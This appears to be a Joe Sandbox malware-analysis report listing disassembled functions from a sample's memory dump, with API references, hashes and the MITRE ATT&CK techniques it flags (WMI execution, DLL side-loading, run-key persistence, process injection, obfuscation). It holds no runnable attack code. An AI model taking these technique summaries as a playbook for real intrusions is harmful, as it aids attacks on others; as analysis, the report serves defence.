__gmtime64_s.LIBCMT ref: 026C3FEA
__gmtime64_s.LIBCMT ref: 026C4020
__gmtime64_s.LIBCMT ref: 026C403D
__allrem.LIBCMT ref: 026C4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026C40AF
__allrem.LIBCMT ref: 026C40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026C40E4
__allrem.LIBCMT ref: 026C40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026C4119
__invoke_watson.LIBCMT ref: 026C418A

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7dfd53a9bb9cbfcf96e017d9f505bdd8a27e9baa7c057d58c1badfe3fd56a95e
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 9071B271A00716ABE714FE79CC51B7AB3B9EF10364F24866EE914E7780EB70D9108B94

Uniqueness

Uniqueness Score: -1.00%

Function 026C650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 026C6547
__calloc_crt.LIBCMT ref: 026C6598
__lock.LIBCMT ref: 026C65AE
__copytlocinfo_nolock.LIBCMT ref: 026C65BF
_wcscmp.LIBCMT ref: 026C65F9
__lock.LIBCMT ref: 026C6610
__updatetlocinfoEx_nolock.LIBCMT ref: 026C6622
___removelocaleref.LIBCMT ref: 026C6628
__updatetlocinfoEx_nolock.LIBCMT ref: 026C6647

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 6507d6b3cf308c75918ded4a9a25279893c3c7eb8cc879b27358b41b18617827
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 6341E032904304AFDB10BFA4D980BBE3BEAEF88314F30842DE91596291DB759645DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 026C84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 026C84B1
_free.LIBCMT ref: 026C84E2
_free.LIBCMT ref: 026C84F5
_free.LIBCMT ref: 026C8513
_free.LIBCMT ref: 026C8525
_free.LIBCMT ref: 026C8536
_free.LIBCMT ref: 026C8541
_free.LIBCMT ref: 026C8565
_free.LIBCMT ref: 026C8581
_free.LIBCMT ref: 026C8597
_free.LIBCMT ref: 026C85BF

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 07d31abdb8d1ee8009c4800c12b45db300f7837228e614087ad4f5bee3901b02
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 1531D471D00250DBDB62BF14FC8086977A6FB153253A4866FE908573A0CBF459C8AF98

Uniqueness

Uniqueness Score: -1.00%

Function 026EFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 026EFC1F

Part of subcall function 026D169C: std::exception::_Copy_str.LIBCMT ref: 026D16B5

__CxxThrowException@8.LIBCMT ref: 026EFC34
std::exception::exception.LIBCMT ref: 026EFC4D
__CxxThrowException@8.LIBCMT ref: 026EFC62
std::regex_error::regex_error.LIBCPMT ref: 026EFC74

Part of subcall function 026EF914: std::exception::exception.LIBCMT ref: 026EF92E

__CxxThrowException@8.LIBCMT ref: 026EFC82
std::exception::exception.LIBCMT ref: 026EFC9B
__CxxThrowException@8.LIBCMT ref: 026EFCB0

Strings

leM, xrefs: 026EFCA8

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 0ab686694c709d01188ea41b2022d7738d6bc5df9ebaaac9d71a34d05b153c3d
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 4711CE79C0020DBBCF00FFA5D455CDDBB7DAA04344F5085A6ED1897641EB74A3488F98

Uniqueness

Uniqueness Score: -1.00%

Function 026AF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026AF01F

Part of subcall function 026C1602: __FF_MSGBANNER.LIBCMT ref: 026C1619
Part of subcall function 026C1602: __NMSG_WRITE.LIBCMT ref: 026C1620

_malloc.LIBCMT ref: 026AF02B
_wprintf.LIBCMT ref: 026AF03E
_free.LIBCMT ref: 026AF044
_free.LIBCMT ref: 026AF065
_malloc.LIBCMT ref: 026AF06D
_sprintf.LIBCMT ref: 026AF0C0
_wprintf.LIBCMT ref: 026AF0D2
_wprintf.LIBCMT ref: 026AF0DC
_free.LIBCMT ref: 026AF0E5

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 65a0ead12bdbc14af1db6583b154626ff0df1a61b38dda9fdb6a9ad95dad0bbc
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: C51136B69405A07AD261B2F54C22FFF7BDDDF46702F1401AEFE8CD1180DA195A049BBA

Uniqueness

Uniqueness Score: -1.00%

Function 026B1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026B19C6
__CxxThrowException@8.LIBCMT ref: 026B19F1
__CxxThrowException@8.LIBCMT ref: 026B1A1A
__CxxThrowException@8.LIBCMT ref: 026B1A4B
_memset.LIBCMT ref: 026B1A6A
__CxxThrowException@8.LIBCMT ref: 026B1A90
_malloc.LIBCMT ref: 026B1AA0
_memset.LIBCMT ref: 026B1AAB
_sprintf.LIBCMT ref: 026B1ACE

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 3a5865a9782ee5aaf7b390d3acf485c6c3d0a88eb7bc37fa8d87fff7800f5bca
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 8E515E71D40209BBDB11EBA5DC46FEFBBB9FF05744F100069F909B6280E7746A018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 026AF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026AF284
__CxxThrowException@8.LIBCMT ref: 026AF2AF
__CxxThrowException@8.LIBCMT ref: 026AF2DE
__CxxThrowException@8.LIBCMT ref: 026AF30F
_memset.LIBCMT ref: 026AF32E
__CxxThrowException@8.LIBCMT ref: 026AF354
_sprintf.LIBCMT ref: 026AF373

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 24069ddfe31c41a0f48f02d972ad41fd54787c3cf31e4db634c283ccb7a5f6ca
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 34514DB1D40209AADF11DFE1DC56FEEBBB9EB05704F104029F905B6280DBB5AA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 026AF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026AF4B7
__CxxThrowException@8.LIBCMT ref: 026AF4E2
__CxxThrowException@8.LIBCMT ref: 026AF504
__CxxThrowException@8.LIBCMT ref: 026AF535
_memset.LIBCMT ref: 026AF554
__CxxThrowException@8.LIBCMT ref: 026AF57A
_sprintf.LIBCMT ref: 026AF594

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 61a465ad2ddc0360a4e7daf8059a70701b7f8aa46107edb58188b988c23d48e7
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 62514171D40209AADF21DFA1DC55FEEBBB9EF05704F100129F905B6280E775A9058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 026E208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 026E20C6
__invoke_watson.LIBCMT ref: 026E2120
_strlen.LIBCMT ref: 026E20D4

Part of subcall function 026C5BA8: __getptd_noexit.LIBCMT ref: 026C5BA8

_strnlen.LIBCMT ref: 026E215F
__lock.LIBCMT ref: 026E2170
__getenv_helper_nolock.LIBCMT ref: 026E217B

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 0f351132ed12d3d1299d8ee82d8ef8bb43f9832bcd769b2cd7c491ae5bf327fc
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: DA31F472902265AADF21BB64DC20BBE379FDF05B24F20441DEE06EB2C4DF7485418AA5

Uniqueness

Uniqueness Score: -1.00%

Function 027666D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 027666DD

Part of subcall function 026C59BF: __calloc_crt.LIBCMT ref: 026C59E2
Part of subcall function 026C59BF: __initptd.LIBCMT ref: 026C5A04

__calloc_crt.LIBCMT ref: 02766700
__get_sys_err_msg.LIBCMT ref: 0276671E
__invoke_watson.LIBCMT ref: 0276673B
__get_sys_err_msg.LIBCMT ref: 0276676D
__invoke_watson.LIBCMT ref: 0276678B

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: de8a5120d1e641ca799022a3b5503f152da911f275b5284d06698b20f6ada2e4
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: FE11A7716016157BEB227E65EC48B7B739DDF00765F90046EFD08A7250EB2ADD004AE8

Uniqueness

Uniqueness Score: -1.00%

Function 026B2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026B26DB
_memset.LIBCMT ref: 026B2A30
_memset.LIBCMT ref: 026B2AC0

Strings

D, xrefs: 026B2AC8

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: b416022f5e8c2edf1c93803de91fe48c920234c11028278b2e96c042ccaa9ba9
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 7DE16D71D40219ABDF25DFA0CD99FEEB7B8BF04304F144069EA09E6190EB74AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026AD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026AD8EA

Strings

, xrefs: 026ADADB
(, xrefs: 026ADAE9
$, xrefs: 026ADAE2

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 666bbf6b01401966bdc17bd25af18869a1774f6e2321d7f786495da855419650
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: F291BEB1D012589AEF21DFA0CC69BEEBBB5AF05304F244068D515772C0DBB25A88CF65

Uniqueness

Uniqueness Score: -1.00%

Function 026C5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 026C5CF4

Strings

U, xrefs: 026C5CFD

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 959a166285238f4ce9847ae3f8eabed01bc51772d60b24c85de0902469735084
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: BE210E3160430C6AEB14B664DC45BBA739DDB44351FB0416DF90AD61D0FB71F9408A98

Uniqueness

Uniqueness Score: -1.00%

Function 026BA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026BA858
_memset.LIBCMT ref: 026BA869
_memset.LIBCMT ref: 026BA87A

Strings

p2Q, xrefs: 026BA882

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: c582c8e88e5aa7bb299f88dac6c0d8a4f2c911742d29f71af1ad72fbd234cafb
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: E5F0C968698750A5F7217750BC26B957E91AB31B08F10408CE1182A2E1D2F9338CA79E

Uniqueness

Uniqueness Score: -1.00%

Function 026EFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 026EFBF1

Part of subcall function 026D169C: std::exception::_Copy_str.LIBCMT ref: 026D16B5

__CxxThrowException@8.LIBCMT ref: 026EFC06

Strings

TeM, xrefs: 026EFBE7, 026EFBFB
TeM, xrefs: 026EFBFE

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0fd4db9dd53812017cc3e0422ee6a8436e7e808bc204e5f32c7cf89d24a73799
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: DAD06779C0024CBBCB00EFA5D459CDDBBB9AA05344B1084A6A91897241EBB4A3498FD8

Uniqueness

Uniqueness Score: -1.00%

Function 026AD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 026C197D: __wfsopen.LIBCMT ref: 026C1988

_fgetws.LIBCMT ref: 026AD15C

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 52ba3bc5d19a3ece2105ba293c18c9001db4a0b7f4ac651f9fe5bcbf3e9d761a
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 5D91B0B1D00219ABCF21EFA4CC947AEB7B5AF05304F24052DE819A3640E776AE14CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 026AD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 026AD77E
_malloc.LIBCMT ref: 026AD7B2
_malloc.LIBCMT ref: 026AD7C1
_fprintf.LIBCMT ref: 026AD815

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: dec49f60558d82b29ded49c053682108fc29334fe3b1ec9f986cbf0c38d95ef4
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 8CA151B1C00288DBEF11EF94CC59BEEBB76AF15308F14006CD90576291D7B65A48CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 026C2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 026C2B2E
__read_nolock.LIBCMT ref: 026C2BFE
__filbuf.LIBCMT ref: 026C2C21
_memset.LIBCMT ref: 026C2C65

Part of subcall function 026C5BA8: __getptd_noexit.LIBCMT ref: 026C5BA8

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 0053e9fa6919b61570c946021d483cb20b873bdcb9f6047bf0f00e975d16a301
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 51518070A00306DBDB29AE79C9A467EB7A6EF40328F34872DEC35962D0D7709951CB44

Uniqueness

Uniqueness Score: -1.00%

Function 026E1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 026E137D

Part of subcall function 026E1A9D: __fltout2.LIBCMT ref: 026E1AC6

__cftog_l.LIBCMT ref: 026E13A3
__cftoe_l.LIBCMT ref: 026E13D5

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 58d5404b773679d3606d05cc030d625a5d6db3b61155818caf82803d3aecc162
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 4A014B3240114ABBCF165E84DC01CEE3F63BB1A355B488599FA5E58530D336C9B2BF81

Uniqueness

Uniqueness Score: -1.00%

Function 02767A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02767A4B

Part of subcall function 02768140: ___BuildCatchObjectHelper.LIBCMT ref: 02768172
Part of subcall function 02768140: ___AdjustPointer.LIBCMT ref: 02768189

_UnwindNestedFrames.LIBCMT ref: 02767A62
___FrameUnwindToState.LIBCMT ref: 02767A74
CallCatchBlock.LIBCMT ref: 02767A98

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 4b13f371deb6c54b53d2a9ff4495fa956a7314df2d1ad0f7b29dd14c33840247
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: FF01D732000109BBDF12AF55CC08EEA7FAAEF48758F158114FD1865120D776E961DFA4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

